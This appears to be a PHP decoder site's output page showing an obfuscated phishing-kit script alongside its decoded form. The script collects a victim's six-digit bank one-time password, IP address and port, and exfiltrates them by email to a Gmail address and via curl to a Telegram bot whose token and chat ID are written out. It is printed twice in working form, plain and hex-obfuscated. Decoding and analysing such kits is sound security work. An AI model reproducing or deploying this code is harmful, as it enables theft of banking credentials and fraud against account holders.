Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto s_XdF; s_XdF: session_start(); goto DTu3l; DTu3l: if (empty($_POST["\157\164\..
Decoded Output download
<?php
goto s_XdF; s_XdF: session_start(); goto DTu3l; DTu3l: if (empty($_POST["otp1"])) { $nameErr = " "; } elseif (strlen($_POST["otp1"]) > 6) { $nameErr = " "; } elseif (strlen($_POST["otp1"]) < 6) { $nameErr = " "; } else { $bnk = $_SESSION["bnk"]; $otp1 = $_POST["otp1"]; $ip = getenv("REMOTE_ADDR"); $port = $_SERVER["REMOTE_PORT"]; $hostname = gethostbyaddr($ip); $message = "==================+[ " . $bnk . " Result ]+==================\xa"; $message .= "otp1 : " . $otp1 . "
"; $message .= "Client IP : " . $ip . "
"; $message .= "Port : " . $port . "
"; $message .= "=============+ [ Created by OmeGaLorD ] +=============
"; $send = "[email protected]"; $subject = "Det {$ip}"; $headers .= "X-Mailer: PHP v" . phpversion() . "\xd
"; mail($send, $subject, $message, $headers); $botToken = "7140562192:AAEz4udCE1b1HONTBf-GEH5C2FMwAP7Pq2o"; $chatId = "1612411723"; $message = "otp1: {$otp1}
Client ip: {$ip}
=============+ [ Created by OmeGaLorD ] +============="; $url = "https://api.telegram.org/bot{$botToken}/sendMessage"; $data = array("chat_id" => $chatId, "text" => $message); $options = array(CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $data, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false); $curl = curl_init(); curl_setopt_array($curl, $options); $response = curl_exec($curl); curl_close($curl); echo $response; } goto ekfzF; ekfzF: ?>
Did this file decode correctly?
Original Code
<?php
goto s_XdF; s_XdF: session_start(); goto DTu3l; DTu3l: if (empty($_POST["\157\164\160\x31"])) { $nameErr = "\x20"; } elseif (strlen($_POST["\157\x74\160\x31"]) > 6) { $nameErr = "\x20"; } elseif (strlen($_POST["\157\164\160\x31"]) < 6) { $nameErr = "\40"; } else { $bnk = $_SESSION["\x62\x6e\153"]; $otp1 = $_POST["\x6f\164\x70\x31"]; $ip = getenv("\x52\x45\115\117\124\105\137\101\x44\x44\122"); $port = $_SERVER["\122\x45\x4d\117\124\x45\137\x50\x4f\x52\x54"]; $hostname = gethostbyaddr($ip); $message = "\75\x3d\75\x3d\x3d\75\x3d\x3d\75\75\x3d\75\x3d\x3d\75\x3d\75\75\x2b\x5b\x20" . $bnk . "\x20\x52\x65\x73\x75\154\x74\x20\135\53\75\75\75\x3d\x3d\75\x3d\x3d\x3d\75\x3d\x3d\75\75\75\75\x3d\x3d\xa"; $message .= "\157\164\x70\61\40\40\72\x20" . $otp1 . "\12"; $message .= "\x43\154\x69\145\156\x74\x20\111\x50\40\72\40" . $ip . "\12"; $message .= "\120\x6f\162\x74\x20\72\x20" . $port . "\12"; $message .= "\75\x3d\x3d\75\75\x3d\x3d\x3d\x3d\x3d\75\x3d\x3d\53\40\x5b\40\103\x72\x65\x61\x74\x65\x64\x20\142\x79\40\x4f\x6d\x65\107\141\x4c\157\x72\x44\40\135\40\53\75\75\x3d\x3d\x3d\x3d\x3d\x3d\x3d\75\75\75\75\12"; $send = "\x6d\162\x6c\x69\x75\x6a\x75\x6e\x34\70\x40\x67\x6d\x61\x69\x6c\x2e\143\157\155"; $subject = "\x44\x65\164\40{$ip}"; $headers .= "\x58\x2d\x4d\141\151\x6c\x65\x72\72\40\120\x48\x50\40\x76" . phpversion() . "\xd\12"; mail($send, $subject, $message, $headers); $botToken = "\x37\x31\64\60\65\x36\62\61\x39\x32\72\x41\x41\105\172\x34\x75\144\x43\105\x31\x62\61\110\117\x4e\x54\x42\146\x2d\107\105\x48\65\x43\x32\106\115\x77\x41\120\67\x50\x71\x32\x6f"; $chatId = "\x31\66\x31\62\64\x31\x31\x37\62\63"; $message = "\157\164\x70\x31\x3a\40{$otp1}\12\103\x6c\151\145\156\x74\40\151\160\x3a\40{$ip}\12\75\75\x3d\x3d\x3d\75\x3d\x3d\x3d\x3d\x3d\x3d\75\x2b\x20\133\40\x43\162\145\x61\164\145\x64\40\x62\171\x20\117\x6d\x65\x47\x61\x4c\157\x72\x44\40\x5d\x20\53\75\75\75\75\75\75\75\75\75\x3d\x3d\75\75"; $url = "\x68\164\x74\x70\163\x3a\57\x2f\x61\160\x69\x2e\x74\145\x6c\x65\x67\x72\141\155\x2e\x6f\x72\147\x2f\142\x6f\164{$botToken}\57\x73\145\x6e\x64\115\145\x73\x73\x61\147\145"; $data = array("\x63\x68\141\164\x5f\151\x64" => $chatId, "\164\145\x78\164" => $message); $options = array(CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $data, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false); $curl = curl_init(); curl_setopt_array($curl, $options); $response = curl_exec($curl); curl_close($curl); echo $response; } goto ekfzF; ekfzF: ?>
Function Calls
None |
Stats
MD5 | ad4ca36080d9e1ae10ec75eaf0468bb3 |
Eval Count | 0 |
Decode Time | 55 ms |